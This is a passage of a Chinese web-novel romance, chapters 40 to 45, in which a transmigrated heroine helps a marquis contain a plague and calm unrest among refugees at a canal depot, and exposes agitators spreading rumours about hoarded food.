朔千钰依旧深情眼,低音炮,“菀菀,现在是我太差劲儿了,你放心,等我以后有作为了,第一个回报的就是你,菀菀,你愿意给我时间的,对吗?”。 苏菀紧紧抱住朔千钰,“愿意,千钰哥哥,我相信你”。 感受到胸膛处传来的阵阵湿意,朔千钰心中越发得意,瞧瞧,不过一个吻,几句情话,就感动的落泪了,这样的女人,可真是不值钱呐。 现在得去好好治治这个奸诈的朔砚辞。 第四十章被大蠢货圈在怀里 “什么?!” “派出去的人全死了?” 朔砚辞不可置信的跌坐在位置上,他精心训练的暗卫啊,天杀的晏无咎。 “夏清棠呢,她什么反应,没背叛的可能性有多大” 暗卫:“属下不知” “废物!” 朔砚辞神情凝重,这个夏清棠越来越不好拿捏了,还有几日就又是十五,夏清棠不仅玉佩没拿到手,甚至都不来向他要安心丸了。 是不怕死了,还是晏无咎给了什么好处,难道晏无咎有解药?嗤!这摧心散哪有什么解药,只有暂时缓解且会让人上瘾的安心丸罢了。 他倒要看看夏清棠能不能挺过这一次又一次的噬心之痛。 …… 镇北候府。 刚安定下来,夏清棠就见晏无咎火急火燎备马不知道要去哪。 夏清棠眼间不对劲儿,晏无咎这是要赖账啊。 “晏无咎,你要去哪,你不会要赖账吧” 晏无咎微愣,随即走进夏清棠,“你来的正好,我正要与你说”。 “我有要事要去京郊漕运处处理,你提的那些,我都给你办好了,暗卫墨韵院候着,你去训他们即可” “还有我身边的大夫,一位姓安的大夫在老家,我已派林木飞鸽传书叫他办完事就尽快来侯府” 晏无咎罕见的能解释这么多,他隐含期待的双眸看向夏清棠,却看到夏清棠满脸不相信。 夏清棠质问,“那萧公子呢,萧公子哪了”。 晏无咎无奈,“我说了,他不会医术”。 夏清棠撇嘴,又故意刺激到,“谁知道你是不是骗我,你鬼得很,萧公子那样一个光风霁月的人,你可别在这污蔑人家”。 晏无咎胸口有点闷,好好好,萧公子是光风霁月,他就是阴暗下流,是吧,那他就让你看看到底是谁说谎! “说你蠢,你还喘上气儿了,萧策是我的副将,在京郊漕运干活呢!” 听着晏无咎气急败坏的语气,夏清棠乘胜追击,“那你的意思是你身边就一个姓安的大夫?”。 晏无咎冰冷回应,“嗯”。 夏清棠轻咳两声,“那不行,那安大夫来侯府还得等,你得先让我见见萧公子”。 晏无咎气急,“夏清棠,你真是不怕死”。 夏清棠心想,她确实是离死不远了,“对对对,我就是不怕死”。 “行!那本侯就带你去好好看看你心心念念的萧公子!” 晏无咎咬牙切齿,一把掐过夏清棠的腰,力道带着不容置喙的强硬,将夏清棠带离地面,托上马背。 他声音憋着火,“坐稳了,本侯这就带你去瞧瞧你的萧公子”。 “你要带我去哪!晏无咎,你个大蠢货” 看到夏清棠对他的排斥,晏无咎牙痒痒,他俯身凑近,温热的气息擦过夏清棠的耳廓,他的声音混账又恶劣,“被我这个大蠢货圈在怀里,感觉怎么样?”。 “你个狗男人坏男人蠢男人” “嗯,对对对,我还是阴暗下流抠搜小气阴阳怪气的老男人!” “你!你可真有自知之明” “过奖了!你倒是挺没自知之明” “……” 晏无咎驾了一路马,两人斗嘴就斗了一路,夏清棠也彻底排除晏无咎喜欢她的可能性,这张毒嘴倒是恨不得毒死她。 晏无咎带着夏清棠来到京郊漕运处。 看到眼前的景象,夏清棠愣住了,淤塞的浑浊河道,堵得严丝合缝的漕船,还有面色灰白的流民,这是书中晏无咎这个反派被黑的最狠的时候,也是疫病渐起,民间百姓伤亡最多的时间段。 夏清棠一时间心情复杂,这样民生凋零的景象,亲眼见到带来的冲击力太大了。 晏无咎注意到夏清棠呆愣的表情,“怕了?放心吧,赶紧去见了你心心念念的萧公子,我这个阴暗下流的狗男人就派人送你回去”。 夏清棠回神,极其冷淡的哦了一声。 没等晏无咎带路,夏清棠目光就已经注意到在远处指挥士兵疏通河道的萧策,恰好萧策此时也看过来,正巧看见了自家将军与侯府的表小姐,转过身朝正在忙碌的士兵嘱咐了几句,又疾步走向两人。 “侯爷,夏姑娘” 夏清棠:“萧公子,好久不见” 萧策疑惑,“夏姑娘,怎会来这”。 夏清棠:“我是来……” 冷沉的男声突然插入,“萧副将,清淤开道的进程如何了”。 萧策:“侯爷,这确实是一项大工程,不好办” 晏无咎点头,“确实,所以,夏姑娘,有话快说”。 夏清棠有些难安,她几乎想都没想就问出口,“萧公子,你真的会医术吗?”。 萧策微愣,他没想到随口敷衍的话语,竟被如此在意,心口浮上愧疚,他满脸歉意,“夏姑娘,抱歉,是我说谎了,我确实是不会医术”。 “行了,这里不是你该待的地方,你该走了”,晏无咎声音冷硬,心底懊恼,他真是昏了头,居然因为夏清棠的只言片语就将人给带这了。 夏清棠点头,耳边一声声的萧副将告诉她,她八成是认错了,如果晏无咎没骗她的话,那神医就是那位在老家的安大夫了。 此地确实不易久留,夏清棠抬脚跟上晏无咎派身边的人就要离开,就听到身后焦急的呼喊声。 “侯爷!侯爷不好了,好多流民都突然高烧,皮肤上还长了大片红斑,已经有人要不行了” 晏无咎神色骤变,“带路!”。 一行人火急火燎,神色凝重的走远。 夏清棠停下脚步,神色复杂,她知道这是浊河疫要爆发了,也是晏无咎身败名裂最彻底的一次,疫病的传播以及某些世家在背后的推波助澜、蓄意污蔑,不仅要让晏无咎死在这场疫病中,还要让晏无咎背负上贪污腐败、罔顾人命的罪名,而这场疫病中足足死了有六成的流民,甚至在最后还在京城里冒了头。 最后还是晏无咎没死,只是高烧烧的耳朵不好了,命还在,回到京城后,身边的神医配出解疫病的药房,又不知道怎的就到了那朔千钰的手里。 晏无咎捂了捂眼睛,晏无咎真的是反派吗,为什么这么像傻白咸,书中每次对他的描述都是被坑。 “姑娘…姑娘,给点吃的吧” 虚弱又嘶哑的声音喊住了夏清棠。 第四十一章怪…怪怪的 是一个面容枯瘦,眼睛浑浊不堪的老妇人,怀里托着个看起来有七八岁的小女孩。 “姑娘,行行好,给点吃的吧” 夏清棠注意到了老妇人干枯肌肤上的隐隐红斑,那是浊河疫的症状,她环顾四周,已经有不少人都盯着她这里蠢蠢欲动。 她没搭理老妇人,只快步擦过老妇人,左手巧妙地将身上当作零嘴的几块糕点扔到老妇人怀里。 她现在要去找晏无咎,这个蠢货,离了她,谁还把他当小孩。 想起书中这一段剧情还有原主的戏份,为了取得晏无咎的信任,更好的窃取机密,原主私自跑到这里,毫无意外,遭到晏无咎的驱逐,独自返回侯府时,被盯上了,原主因此还重伤了好久。 也是刚好对上书中剧情了,她现在不就在这,并且差点返回去,唯一的区别就是现在晏无咎还给她派了个人。 夏清棠循着声音来到晏无咎近处的时候,刚好听到晏无咎下令说,加快速度清淤河道,流民按照健康状况分棚安置,派兵马到京城找大夫,并将消息抱回朝廷。 其实书中晏无咎的处理方式已经够妥当了,只是想拉他下台的人实在是太多,双拳难敌四手,更何况还是个不被眷顾的反派。 “你这消息还是先传到贺太傅耳朵里靠谱” “你还没走” 晏无咎神色严肃,“这不是胡闹的地方,你快些回去”。 夏清棠鄙夷的看了晏无咎一眼,“知道不是该胡闹的时候,你就先将消息传到贺太傅耳朵里”。 书中可以说唯一看晏无咎顺眼,且有地位有实力有智慧的就是贺太傅贺柏,京郊漕运处出事儿后,那些背后捣鬼的人也都极力阻止贺柏插手这件事。 晏无咎张了张嘴,他知道夏清棠的本事,也知道夏清棠若是在这儿的话,肯定能帮到他,整件事说不定都会以不可思议的方法解决,可是,这里太危险了,多少人盯着他。 他真是个蠢货,怎么就一时冲动把夏清棠给揪过来了。 撞入夏清棠强硬的目光中,晏无咎的嘴张了又闭,闭了又张,最后只吐出几个字,“我知道了,你快回去吧”。 “不行,我得在这看着你” 察觉到晏无咎奇怪的目光,夏清棠快速补充,“你晏大侯爷要是死这儿了,万一那个安大夫不给我治病咋整”,顿了顿,她又说,“再说了,侯爷你若是死了,我也会伤心而亡的”。 “你可是我看天象折寿也要救的人呐” 这是人设,不能丢,跟在晏无咎身边,好歹毒发的时候能缓解。 夏清棠刻意表现出的动情姿态,晏无咎看得真真切切,他时常想,这般拙劣的表演之下,是否也会有几分真心。 晏无咎回神,态度依旧强硬,“暗三,带她回去”。 “晏无咎!” 夏清棠一声冷呵,斥退暗三,连晏无咎都神情呆滞。 夏清棠向前一步,离晏无咎不过一步之距,她凝视晏无咎的双眼。 【崽种,直视我的双眼!】 “晏无咎,你要把我绑回去,就等着你的侯府着火吧!” 【救世主来救你了,不仅不跪谢,却还要往走撵,不是蠢货是什么】 【我得扒着晏无咎让神医给我解了毒,这样才好去快活潇洒点男模】 “晏无咎,你……” 夏清棠开口还要说什么,晏无咎却突然改口,“既然你这么不怕死,那就留下”。 “本侯再提醒你一句,这里条件恶劣,你要是扛不住,就算你想回,我也不让你回去” 夏清棠:“好嘞!” 晏无咎微愣,这女人……还真是不怕死。 萧策急匆匆赶来,压低声音在晏无咎耳边,“侯爷,死人了,死的还不少”。 晏无咎紧皱眉头,“带我过去”,临走时,他又扭头对夏清棠说,“跟着暗三先去帐篷处”。 夏清棠拦住晏无咎,在两人略显震惊的目光中,果断掏出匕首割下衣摆处一块布料,然后绑在两侧耳后,遮在自己的口鼻前。 夏清棠:“这很又能是会传播的疫病,必须得先做好自身的防护” 晏无咎和萧策对视一眼,随即立刻撕下一片布料遮在面前。 萧策认可的点头,“确实是我们心急了,夏姑娘倒是见多识广”。 最后三人一起过去,果然看到横七竖八躺在地上的几具尸体,走进看,几人大骇,只见这几具尸体裸漏的皮肤上都是大块的紫黑色斑块,面容都已经看不清楚。 夏清棠心中大惊,没想到这疫病居然这么厉害。 晏无咎当即下令所有人遮好口鼻,把尸体裹好,拖到无人聚集处焚烧。 空气中的泥腥气和酸腐气裹得人喘不过气,河道口的流民越来越多,晏无咎随行的官兵现在根本拦不住。 晏无咎面色冷沉,张口就要下令搞暴力手段,夏清棠知道晏无咎要干嘛,赶忙拉住他就要高高抬起的手,压低声音在晏无咎耳边说道,“晏无咎,这些流民一看就是有人故意引过来的”。 “你若是直接搞暴力手段,肯定正中敌人下怀” 晏无咎心头一震,直接改变命令,“流民中的壮丁去清淤河道,剩下的按照身体状况一律安置在大棚内”。 萧策阻拦,“侯爷,流民不能全收啊,粮食不够”。 晏无咎冷笑,“粮食不够就问朝廷要,朝廷不给,漕运总督不给,就给老百姓哭惨”。 夏清棠颇为认可的点头,“对,哭的一定要大声,让他们知道就连风光的镇北候都吃不饱”。 不得不说朔千钰那一群人简直是太毒了,不仅引来了这么多流民,还联合漕运总督在粮草上捣鬼。 夏清棠:“晏无咎,有没有纸和笔” 晏无咎:“跟上” 夏清棠写好后,小心翼翼的叠好纸张,递给晏无咎,“送到贺太傅手里,小心点,派你的暗卫去”。 晏无咎好奇纸上写了什么。 【让贺柏去漕运总督那截粮仓凭证,这是现在唯一可行的方法了】 晏无咎不好奇了,他现在心口处痒痒的,这个女人认真的样子,怪…怪怪的。 第四十二章安抚流民 【保佑贺柏和书中人设一样,不然我是没招了,只能叫晏无咎去砸了漕运总督家的大门】 晏无咎已经做好了去砸该死的什么总督家大门的准备,就等身旁这女人一声令下。 不知不觉中,晏无咎已经对夏清棠产生了浓厚的依赖心里。 “晏无咎,你赶紧去管着清淤河道吧” “你是个好人才,千万别浪费了” 晏无咎点头,他现在更像夏清棠的手下。 夏清棠又命令,“另外,给我分点信得过的兵员,再给我点说话的权力,这疫病我虽治不了,但也能帮着好好预防”。 “毕竟我是你的救世主,绝对是为了你好” 夏清棠本想着,晏无咎给她点兵员们就够好了。 随橙想,晏无咎居然大手一挥,将他带过来的几个暗卫全安排给了夏清棠。 夏清棠承认,她的内心有一吨的惊讶,她还是推辞了一下,“你留一个”。 晏无咎:“好” 晏无咎麻溜离开去干活。 夏清棠站在原地满意的大量身边几个人高马大,模样周正俊俏暗卫。 “你们,就跟着我在这镇场子!” “明白了吗?” “明白了就回复收到” “收到!” 铿锵有力的回复声,一时间还真震住了几个蠢蠢欲动准备闹事的人。 群众和兵员们不认识夏清棠,也不知道这几个男人是暗卫,只知道镇北候身边跟着的几个最高最壮的男人现在跟着这个年轻姑娘,还让这姑娘在这管生病的流民,纷纷觉得这是胡闹。 流民群隐隐有议论声。 夏清棠没搭理,只是安排兵员尽快多找些布料,发给流民,务必确保每个人都戴上。 同时,她又带着几个暗卫细细辨认出现疫病症状的流民,这些得严加看管。 但凡身上有红色斑点,紫色斑点的,已经全部都被单另出来,夏清棠浅浅松了一口气,还好,都还不是很严重。 现在就得等导致疫病大规模传播的泥腿子出现了。 夏清棠声音清亮,沉着命令,“凡是入口的水,必须全部烧开再喝”。 话音刚落,立马传来不满的抱怨声,“都要渴死了,还要烧热水喝,这不胡闹呢”。 “这些官家小姐来这捣什么乱!” “我们要吃的!给我们吃的!不是说发了粮草吗?为什么我们到现在都只吃过点稀的见不了大米的白粥” “就是就是,我们还没吃过饭,是不是都被你们贪了!” 夏清棠抬手,声音清亮,硬生生压过混乱的喊声,“你们难道没看到被安置在另外的大棚内的人吗?他们或多或少身上都已经有了疫病的症状”。 夏清棠顿了顿,看到不少人都静下来,她继续,“疫病的危害,不用我多说,想必你们在场的大多数人也都知道,严重了,在场的人都要死绝”。 现场又安静了些。 “你们要吃的,想活着,我都懂,可是,哪有那么容易,所以,我们现在只能先保证自己不会生病,加入清淤河道的行动中,力所能及的贡献自己的一份力量,这样,我们的活路才会更广!” 晏无咎注意到这边的动静,很快便走过来。 他浑身污泥,深秋的天气,却热的满头是汗,极具威慑力的目光扫过一片片的流民,顿时,这群流民就跟鹌鹑似的全噤声了。 夏清棠薅过晏无咎,低声对他说,“配合我”。 晏无咎点头,双眸始终紧紧注视着夏清棠。 夏清棠继续她的演讲,“我们的侯爷,为了处理京郊漕运处的这些事,已经忙了几日几夜,现在更是使出浑身力气在这里干活,都是为了河道能尽快疏通,这样粮草才能运过来,被淹的农田才能尽快恢复,你们的赖以生计的才能快点回到你们手里”。 “如果在这闹事的话,不仅会加剧患病的风险,清淤河道的进程也会大大缩减” 晏无咎在一旁配合,“闹事的人一律按军令处置”。 流民中有人发问,“那总不能把我们饿死在这吧,我们都要饿的不行了”。 这一句话瞬间又点燃方才刚安静下来的流民,“对啊对啊,侯爷有力气干活,那肯定是有东西吃啊,你们为了我们好,就快点把粮食拿出来给我们吃”。 “就是,好听话谁不会说!” “……” 一时间,现场又是一片混乱,左右耳分别灌入着不同的声音,夏清棠脑子有些大,她清了清嗓子,清脆明亮的大喊一声,“大家安静!”。 依旧嘈杂,这里每个流民都没把这个看着白白瘦瘦的年轻姑娘当回事儿。 晏无咎眉目冷沉,声音森然可怖,“闹事的人一律按军令处置!”。 他话音刚落,兵卒应声而上,看到持着剑的兵卒,流民激烈的言辞瞬间淡下去,只是情绪越发不满。 夏清棠知道若是再不做出点实际的,这些流民怕是要暴乱了。 她凑近晏无咎低声问,“晏无咎,去找的大夫来了没”。 晏无咎低低应了声,又指了指大夫的方向。 夏清棠看到浑身凌乱的大夫,心稍稍安定些,她高声说,“好了,大家现在先排队去大夫那,确保自己还没染病”。 “另外,仅剩的粮食,我们需要按需分配,大家互相理解,现在仅存的粮食实在有限” 这一番话落下,不少流民犹犹豫豫的走向不远处的大夫,还有人不放心的大喊,“那你们可得好好分粮食啊,别给我分少了!”。 流民暂时安分下来,夏清棠让几个兵员去找些柴火,尽快烧些沸水。 “晏无咎,清淤河道的进程必须加快了,把这里交给我” 晏无咎微怔,这次确实是他大意了,没想到会突然增加这么多流民,现在能靠得住的,除了萧策,就是眼前这个女人。 “好,必要时刻,就上武力手段,这些人随你差遣” 晏无咎带着大部队去全力清淤河道。 夏清棠内心由衷感叹,看来晏无咎真的是长大了,居然这么信任她,解毒的日子真是指日可待啊。 第四十三章脸躁心暖 夏清棠朝一旁的兵卒吩咐,“煮好的水分成两拨,健康的和已经感染疫病的人要分开”。 “暗三,你去看着点” 现在除了粮食还有一个要紧的事,就是柴火急缺。 夏清棠有些不是滋味,这里吃不饱穿不暖,朝廷只派晏无咎过来,这么久了,也不见再送来什么支援,真是…… 大夫现在只能辨认出染疾的和未染疾的,再熬点预防的汤药,这疫病实在是罕见,想出药方子,难啊。 夏清棠:“大家听我说,关于粮食的分配上,首先是受伤生病的,还有老人,正在哺乳的妇女以及幼儿,其次就是按劳力分配”。 “我们仅仅只靠侯爷和兵队的力量,绝对是不行的,每个人都该站出来,该配合的配合,该出力的出力,力气大体力好的,可以去清淤,力气小些体力差些,可以去拾木柴,柴火现在是急需品,付出劳力大的,肯定是会多给些粮食” “现在这里的粮食,勉强只够我们吃四天,我们必须合理分配粮食,保障这四天内的生活,我们不能乱了阵脚” 一句接一句的话落下,流民们都沉默了,理确实是这么个理,这小姑娘长得不靠谱,说的话听着确实靠谱。 “行!我们就先听你的” 有几个大汉主动站出来,“我们几个跟着去清淤河道!老子就不相信了,这么多大汉搞不出来个河道!”。 夏清棠点头,让暗二带着去交给晏无咎安排。 这时,人群里突然传出哭喊声,一个妇人哭喊道,“姑娘!这里有人要生了,姑娘,我们都听你的,你快帮帮我们”。 夏清棠循声望去,只见一个面色蜡黄的姑娘四肢枯瘦,唯独那身前肚子高高隆起,此刻正痛苦的捂着肚子,身下已经见了血。 居然还有待产的孕妇,夏清棠连忙喊人将孕妇抬到最近的帐篷里,“大夫跟上!”。 帐篷里一直传来哭喊声,夏清棠在帐篷外也焦急的很,突然,她看到本该在帐篷里的大夫现在居然在帐篷外。 “这是怎么回事?” 大夫:“哎呦,那姑娘的婆家把我给赶出来了,说我是男的” 夏清棠扶额苦笑,“那现在是谁在接生”。 大夫:“就是那姑娘的婆家啊,她婆说她接生过” 一个神色慌张的,大约五十来岁的妇人突然从帐篷冲出来,“大夫,大夫,快去救救我女儿,那个疯女人根本不会接生,我女儿好像,好像难产了”。 “大夫,大夫求求你快去救救我女儿” 大夫面露难色,下意识看了看夏清棠。 夏清棠走在前面,“进去”。 三人走进去,迎面突然冲过来一个人满脸是血的女人,她尖叫着,“出去!这是我儿子的媳妇,是我史家的媳妇,其它男人快点滚出去!”。 那待产姑娘的娘,王淑芬上去就是一巴掌,“李梅你这个疯女人,滚开”。 李梅持续发出尖锐爆鸣声,甚至盖过床上孕妇的哭喊声,眼看两人尖叫就要厮打,夏清棠上去一个手刀就将这个叫李梅的妇人砍晕。 王淑芬静了,赶忙带着夏清棠两人到她女儿身旁。 简陋木床上的年轻姑娘满脸混着汗水与泪水,“娘,娘,好疼,生孩子好疼”。 王淑芬紧紧握住自家姑娘的手,“娘来了,看,这是大夫,你别怕,很快的”。 王静看到男大夫,脸上露出犹豫与害怕,“娘,他是男的,史业知道了,会打死我的”。 王淑芬脸上满是怒气与心疼,她幸幸苦苦拉扯大的女儿居然在别人家过的那样的生活,她的语气充满决绝,“不怕,娘会想办法,乖,先让大夫给你接生”。 王静点点头。 孕妇的情绪安抚好了,大夫赶紧上去接生,王淑芬和夏清棠在一旁打下手,一盆盆的血水被倒出,床上王静的哭喊声也渐渐弱下去。 不知道过了多久,终于,婴孩嘹亮的哭声响彻整个帐篷。 “生了,生了!” 王淑芬满脸激动,兴奋的手舞足蹈,“姑娘,是个男孩,你生了个男娃”。 王静紧绷的神经终于松懈下来,死死昏睡过去。 王淑芬将自家姑娘和孩子裹好被子,踌躇着走向夏清棠和大夫。 王淑芬:“姑娘,大娘求你件事” 夏清棠:“大娘先说” 王淑芬眼里泛起泪花,声音里带着怅惘,“我娘俩命不好,我年轻时生下我姑娘,她爹就死了,这么多年把她拉扯大,前年,我姑娘出嫁了,我本以为是个好归宿,也算是熬出头了,谁知道,那史家的竟是个爱打人的”。 “我姑娘都不敢回家找我告状,还有那疯婆子,天天看着我姑娘,生怕我姑娘多吃了她家一口饭!哎呦!真是命苦啊” 王淑芬抹了抹眼泪,“大娘跟你说这些,是希望这疯婆子醒了,问起你们来,你们能说,是我和你一起接生的,不然…不然以这疯婆子的性子,以后村子建好了,我家姑娘的名声肯定要叫她给搞坏”。 夏清棠毫不犹豫应声,“行,大娘你放心”。 大夫也连忙应声,“行行行,这疯婆子可真是招惹不起”。 夏清棠安抚王淑芬,“大娘你先在这照顾你家姑娘和孩子,这人我叫人带到外面去,有事就找我”。 王淑芬感激的连连点头。 夏清棠站在帐篷外,望着渐渐暗下来的天色,心情莫名惆怅,良久,她去招呼着兵卒和流民们造饭分饭。 即使只有些稀得就要看不见米粒的白粥,大家脸上也都扬起久违的笑容,现在都在安生的排队打粥。 夏清棠留心看了看,放心了,下午的说的话没白说。 晏无咎带着大部队回来的时候,就看到与下午截然不同的场景,流民脸上竟挂着笑意,不仅互相帮忙忙碌,还有说有笑。 注意到不远处的忙碌的夏清棠,晏无咎常年桀骜的脸上不自觉浮上愧意,他一个大男人,还是别人口中有作为的侯爷,现在却让一个女人跟着他在这受苦。 脸皮躁得慌,心头偏偏又暖的很。 第四十四章凭啥你们吃好的 “侯爷回来了” 一声呼喊,瞬间吸引过所有人的注意力,看到晏无咎以及身后的同样满身污泥的一群人,每个人的脸上都露出期待的神色。 夏清棠也看过去,暗自想,晏无咎回来的真是时候,差不多快到她每日毒发的时间。 对视上夏清棠看着他满含期待的目光,晏无咎脚下步伐瞬间快的恐怖,这女人,肯定是想他了。 夏清棠意外的看向直直走到她身边的男人,以为晏无咎是有什么事找她,等了半天,也不见这男人说话。 晏无咎累晕了? 夏清棠眯着眼凑近晏无咎,只见平日里拽的不可一世的酷炫拽侯爷,此刻脸上泛着明显红晕,就连那一贯冷漠的眼神此刻都满是迷离。 坏了! 夏清棠暗道不好,晏无咎这不会是中招了吧。 她双手慌忙抚上晏无咎的俊脸,坐摸摸右摸摸,再摸摸自己,对比对比。 喵的,咋摸不出来。 夏清棠顺手差点扒开晏无咎的衣服,猛地意识到不对劲,慌乱间,又下意识拉起晏无咎的大手去找大夫确认。 专业的事还得找专业的人,刚才是她太心急,不对,是太善良,竟然如此担心晏无咎。 晏无咎双眸注视两人相交的双手,好软,有一点茧子,又痒痒的。 他悄悄加深力道。 感受到两人相握的双手越来越紧,夏清棠知道,晏无咎绝对是中招了,这犊子都烧糊涂了。 晏无咎眨眨眼,她居然……不介意吗? 而且,好像她也握的更紧了。 “大夫,快!快给侯爷看看” 直到晏无咎被甩到大夫面前,他才知道,原来夏清棠是以为自己病了,病的还不轻,病到脑子的那种病。 两人分开的双手上还有红印,晏无咎攥了攥手心,不甘的情绪从心底升起。 大夫敏感的察觉到两人之间微妙的气氛,不,或许应该说是,侯爷对这位姑娘莫名的情绪,唉!他老了,看不懂这些年轻人之间的弯弯绕绕。 “侯爷,张嘴,吐舌头” 晏无咎脸色瞬间划下黑线。 大夫皱眉,怎么感觉到一股杀气,他甩去这莫名的想法,继续,“侯爷,张嘴,吐舌头”。 夏清棠一掌拍在晏无咎肩上,“真烧糊涂了?大夫让你张嘴吐舌头”。 晏无咎咬牙,“我没生病”。 夏清棠:“你说你没生病,你就没生病啊,你又不是大夫,知道喝醉酒的人不,也都说自己没喝醉”。 晏无咎站起身,转身就要走。 夏清棠薅住晏无咎衣摆,声音带上诱哄的味道,“晏无咎,没病也检查下,你这样式的,身体好也耐不住想害你的人多啊”。 晏无咎还在挣扎要走,夏清棠疑惑,“晏无咎,难道……难道是你的舌头见不得光?”。 【不得了不得了,晏无咎舌头居然有不可告人的秘密】 晏无咎舌尖抵了抵上腭,喉间溢出没招了的笑,他妥协了。 转身坐回大夫面前,可是,顶着夏清棠直愣愣的目光,他的舌头还真就见不得光了。 晏无咎深深的闭了闭眼,“夏清棠”。 夏清棠目光澄澈,“嗯?”。 晏无咎:“转过去,不要盯着我看” “你的目光很毒” 夏清棠怔住,揶揄的目光看向晏无咎。 【不好意思就说不好意思嘛,还“你的目光很毒~”,我的目光能有多毒,切~】 夏清棠慢悠悠转过身子。 晏无咎这才放下心来让大夫检查。 大夫细细看了看,又给晏无咎把脉,“侯爷的身子骨极好,就是火气太盛,若是有位……”良人在侧就会更好。 为说出口的话被晏无咎打断,他一听就知道这大夫要说啥,无非就是该找个女子相伴之类的话,都不知道在安瑾那听过多少次了。 “行了,你抓紧时间想药方” 大夫汗颜,忙应声,“哎!侯爷”。 大夫这心里叫个难受啊,他真顶多能看出来是不是得这病了,这……药方实在是难想。 夏清棠还是不放心,“晏无咎,你真没病吧”。 晏无咎眼神凉凉,“没有”。 夏清棠:“哦” 这么关心他?晏无咎脑子里突然划过一个想法,他停下脚步,猛地俯身逼近一旁神游天外的夏清棠,灼热气息喷洒在她耳廓上,声音刻意压得又低又哑。 “你这么关心我,那我要生病了,你是不是会哭着说‘侯爷,快点、好起来’?” 还处在走神状态的夏清棠听到这话,全身血液瞬间冲上头顶,她猛地闪身躲避晏无咎的靠近。 “晏无咎,你是不是有……”病!夏清棠张嘴就要反驳,却又想起自己现在的人设,连忙改口,“晏无咎,你是不是吃了聪明药了,居然这么聪明!”。 “哈哈哈,晏无咎你真是太聪明了,我真的是太害怕你生病了” 【晏无咎这没病看着也像有病一样,也不知道他又犯什么抽,搞得我现在也跟个神经病一样,连人设都快崩了】 晏无咎内心的粉色泡泡彻底破碎,这个女人,好样的。 晏无咎站直身子,“是吗,我咋记得不久前,你还骂我大蠢货来着”。 夏清棠一本正经,“其实,在我们老家那边,这是爱的象征”。 晏无咎:“?” 夏清棠:“因为,打是亲,骂是爱” 看到晏无咎明显鄙夷的表情,夏清棠继续说,“在我们那里,骂你就是在意你,而打呢,当然不是狠打,是这种打”。 夏清棠轻轻一掌拍在晏无咎胳膊上,做了个示范。 “怎么样,明白了吧” 晏无咎不理解,且大为震撼,她家乡的习俗还怪特别的。 身旁期待回应的目光太过炙热,晏无咎别扭的嗯了声。 注意到锅灶旁的人已经稀疏,夏清棠招呼晏无咎,“走,吃饭去”。 负责熬饭的人一看到晏无咎,就大声喊,“侯爷,你的饭不在这里”。 …… 唰唰唰。 瞬间,数道不满质疑、果然如此的目光射向晏无咎和夏清棠。 勉强和谐下来的氛围不过眨眼间便消失殆尽。 偏偏刚才发声那人像是丝毫没有察觉到气氛的微妙,还在咧着个嘴大喊,“侯爷,夏姑娘,你们快进帐篷啊”。 夏清棠眸底划过冷光,该等鱼儿上钩了。 晏无咎停下脚步,气氛的转变实在是太快,“都一样,就在这吃”。 做饭的人疑惑挠头,侯爷和夏姑娘这是怎么了,夏姑娘是专门嘱咐过他们饭要做的都一样,只是侯爷的饭另外放帐篷啊,他正要张口解释,说出口的话却被人群中突然站出来的两人打断。 “呸!还什么老弱妇孺先吃,先吃好的,我看都是放屁!” “就是就是,多少年了,这些当官的什么德行,大家伙还不知道吗?” “长个嘴就知道放屁,人家啊,肯定是要进帐篷吃大鱼大肉喽” “我们是啥啊,我们就是些命贱的,哪能和人家比” 两人一唱一和,激烈亢奋的话语彻底把流民心里不敢说出口的不满激发。 “对啊!不是说粮食少吗!你们怎么就能吃好的” “侯爷清淤河道出力了,这还好说,你这个女娃娃你干啥了!你啥都没干,你凭啥子吃好的” “凭啥?当然是凭人家长得好看” 又有几道声音一言我一语的肆意发泄情绪。 第四十五章谢谢夏姑娘 夏清棠牢牢扣住晏无咎的手,示意他先别发声。 最先带头的两个大汉见这场面足够混乱,意味深长的对视一眼。 大汉甲满脸愤恨,“我娘和我爹就是被这些当官的人给坑害死的”。 “大家伙听我说,这里肯定还藏着不少粮草,绝对是被这俩人给藏起来了!” “我们大家应该团结,就算是死,死之前也要好好吃一顿,尝尝人家上等人吃的好东西!” 还在煽动情绪,流民枯黄灰败的脸上已经浮上明显的亢奋的情绪。 夏清棠松开晏无咎的手。 晏无咎了然,寒眸森然的凝视这些流民,冰凉的唇一开一合吐出恐怖的话语,“排兵布阵”。 刹那间,流民被围住,空气安静了。 那两个大汉想到自己的任务,一咬牙,又张嘴,“恼羞成怒了!就会欺负我们这些可怜的老百姓”。 “是啊是啊” 夏清棠站出来,“这位……这位大哥,我俩还一句话没说呢,你们倒是在这挑唆的欢”。 “帐篷里的饭就和这里的饭一样,是我怕侯爷吃的迟了,饭凉了” 大汉不信,他不信这些当官的能忍住不满足自己的私欲,“我不信,大家伙也都不信”。 “对啊,让我们进去看看啊,说不定就藏着什么好东西” 夏清棠勾唇,眼里闪过意味不明的光,嘴里却吞吞吐吐,“这……不太好吧,那毕竟是侯爷住的” 大汉瞬间明白,这小妮子是害怕了,哈哈哈,他就知道。 “我必须进去看看,砍了我,我也要进去看” 只见这两大汉冲出人群,守着的几个士兵上去就要拦住,却听晏无咎重重叹了口气,似是寒心般,脱力的说,“罢了,让他进去看吧”。 大汉心中越发得意,绝对是这个什么狗侯爷心虚了。 两个大汉冲进帐篷,脸上闪着恶意的狂喜,高高在上的镇北候要被万民唾弃了! 唰! 遮在食物上的简陋破布被掀开,两个大汉瞪大双眼,脸上的狂喜被僵硬和意外取代,怎么会! 不可能! 身后跟着看热闹的流民纷纷仰着头往里探,脸上表情异彩纷呈。 俩大汉的动作依旧僵硬,手里拿着破布迟迟没有放下。 突然,从流民群里走出一个女人,脚下没有迟疑的走进敞开的帐篷,探头去看桌上的东西。 “天呐!这是什么,侯爷和夏姑娘居然是在吃这种东西” 王淑芬方才在这帐篷照顾自家姑娘,夏姑娘说这帐篷挨着人群太近,好心让人把她姑娘挪到里面位置更好的帐篷处,说来,也是搬她女儿带起的风,把这破布吹掉,才让她无意间看到这布下放的是什么。 夏姑娘和侯爷这么好的人,她实在不能再看着他们被这群人污蔑。 王淑芬的话毫无疑问更加引起众人的好奇,又有人大着胆子走进帐篷,走到桌前一探究竟。 “这……” “居然吃的比我们吃的还差” 一石激起千层浪,人去议论声一层盖过一层, “不是吧,这王淑芬是不是在那睁眼说瞎话” “你傻啊你,要是吃的好,那俩男的早就闹开了,看看现在不是在那一声气不吭” “天呐,不会吧,吃得没有我们吃的好?” 人群中有相信的,有质疑的,有半信半疑的,直到挡在桌前的两个大汉被暗三一把推开,桌上食物的真面目也终于显露在众人面前。 哗! 是比刚才强烈的哗然。 